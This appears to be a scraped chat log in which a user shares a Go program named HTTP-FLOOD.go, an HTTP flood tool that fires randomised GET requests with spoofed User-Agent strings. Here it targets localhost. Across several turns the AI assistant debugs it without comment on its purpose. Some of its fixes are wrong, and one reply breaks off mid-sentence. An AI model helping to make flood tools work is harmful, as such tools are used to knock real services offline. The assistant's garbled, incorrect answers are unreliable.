package main import ( "net/http" "math/rand" "strconv" "time" ) func httpFlood(UAs…
- User
package main
import ( "net/http" "math/rand" "strconv" "time" )
func httpFlood(UAs []string, duration int, startTime int){ for int(time.Now()) <= startTime + duration {
coderandNum := strconv.Itoa(rand.Int()); url := "127.0.0.1:8080/dstat/" + "?page=" + randNum UA := UAs[rand.Intn(len(UAs))] req, _ := http.NewRequest("GET", url, nil) req.Header.Set("User-Agent", UA) http.DefaultClient.Do(req) }}
func main() {
codeuserAgents := []string{ "Dalvik/1.6.0 (Linux; U; Android 4.1.1; NX008HD8G Build/JRO03C)", "Mozilla/5.0 (Linux; Android 10; SM-A107F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4168.1 Safari/537.36", "Dalvik/1.6.0 (Linux; U; Android 4.2.2; CX_718 Build/JDQ39)", "Mozilla/5.0 (Linux; Android 8.1.0; C210AE Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/68.0.3440.91 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 6.0; Lenovo TB3-850M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.101 Safari/537.36", "Mozilla/5.0 (Linux; Android 9; Redmi Note 8T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.110 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 7.0; itel S41) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Mobile Safari/537.36", "Dalvik/2.1.0 (Linux; U; Android 10; 706SH Build/S2005)", "Mozilla/5.0 (Linux; arm; Android 9; SM-J415FN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 YaApp_Android/10.92 YaSearchBrowser/10.92 BroPP/1.0 SA/1 Mobile Safari/537.36", } threads := 1 // Localhost - 3 duration := 10 startTime := int(time.Now()) for i := 0; i < threads - 1; i++ { go httpFlood(userAgents, duration, startTime) } httpFlood(userAgents, duration, startTime) - Assistant
It seems like there are a couple of errors in your code.
The first error is on line 11, where you're trying to compare the current time with the sum of the start time and duration. The
time.Now()function returns atime.Timetype, not aninttype. To fix this, you can use thetime.Unix()function to convert the current time to a Unix timestamp.You can update line 11 to:
gofor int(time.Now().Unix()) <= startTime + duration {The second error is on line 45, where you're trying to assign the current time to the
startTimevariable. Again, you need to use thetime.Unix()function to convert the current time to a Unix timestamp.You can update line 45 to:
gostartTime := int(time.Now().Unix())With these changes, your code should compile without any errors.
- User
command-line-arguments
.\HTTP-FLOOD.go:11:10: cannot convert time.Now().Unix (value of type func() int64) to type int .\HTTP-FLOOD.go:45:19: cannot convert time.Now().Unix (value of type func() int64) to type int
- Assistant
Apologies for the confusion. It seems I made a mistake in the suggested changes.
To fix the conversion errors, you can directly use the
Unix()function from thetimepackage without converting the result to anint. This will give you a Unix timestamp inint64format.You can update line 11 to:
gofor time.Now().Unix() <= int64(startTime+duration) {And update line 45 to:
gostartTime := time.Now().Unix()These changes should resolve the conversion errors and allow your code to compile successfully.
- User
package main
import ( "net/http" "math/rand" "strconv" "time" )
func httpFlood(UAs []string, duration int, startTime int){ for time.Now().Unix() <= int64(startTime+duration) {
coderandNum := strconv.Itoa(rand.Int()); url := "127.0.0.1:8080/dstat/" + "?page=" + randNum UA := UAs[rand.Intn(len(UAs))] req, _ := http.NewRequest("GET", url, nil) req.Header.Set("User-Agent", UA) http.DefaultClient.Do(req) } - Assistant
Apologies for the confusion. The
httpFloodfunction expects thestartTimeparameter with aninttype, but currently, it's of typeint64.To fix this, you can update the
startTimeparameter in the function to be of type . - User
.\HTTP-FLOOD.go:48:28: cannot use duration (variable of type int) as int64 value in argument to httpFlood .\HTTP-FLOOD.go:51:24: cannot use duration (variable of type int) as int64 value in argument to httpFlood
- Assistant
Apologies for the continued confusion. It seems there was an oversight in the previous response.
To resolve the type mismatch error, you need to update the
durationvariable to be of typeint64in both thehttpFloodfunction and the function.